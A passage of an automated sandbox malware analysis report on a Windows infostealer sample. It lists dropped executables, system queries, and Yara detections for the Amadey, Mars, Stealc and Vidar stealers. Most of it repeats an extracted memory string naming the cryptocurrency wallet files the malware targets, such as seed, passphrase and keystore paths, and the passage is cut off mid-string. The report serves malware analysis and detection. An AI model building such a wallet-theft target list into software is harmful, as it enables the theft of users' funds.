Source: 06f6d9547f.exe, 0000000F.00000000.2760041133.0000000000762000.00000002.00000001.01000000.0000000F.sdmp, 06f6d9547f.exe.13.dr, random[1].exe0.13.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: CFBAKEHIEB.exe, CFBAKEHIEB.exe, 00000007.00000002.2503519634.0000000000569000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: xProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C58B341 cpuid

0_2_6C58B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5535A0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 13_2_00646590 LookupAccountNameA,

13_2_00646590

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 12.2.explorti.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorti.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.CFBAKEHIEB.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorti.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.2463090610.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2536047263.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3240531583.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2675197163.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2503437125.0000000000371000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2491110423.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2531523803.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2495081397.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.file.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.0244247334.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0244247334.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.0244247334.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3472, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2450878675.0000000001B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 9C680Q69ers\user\AppData\Roaming\Electrum-LTC\wallets\.*O
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop 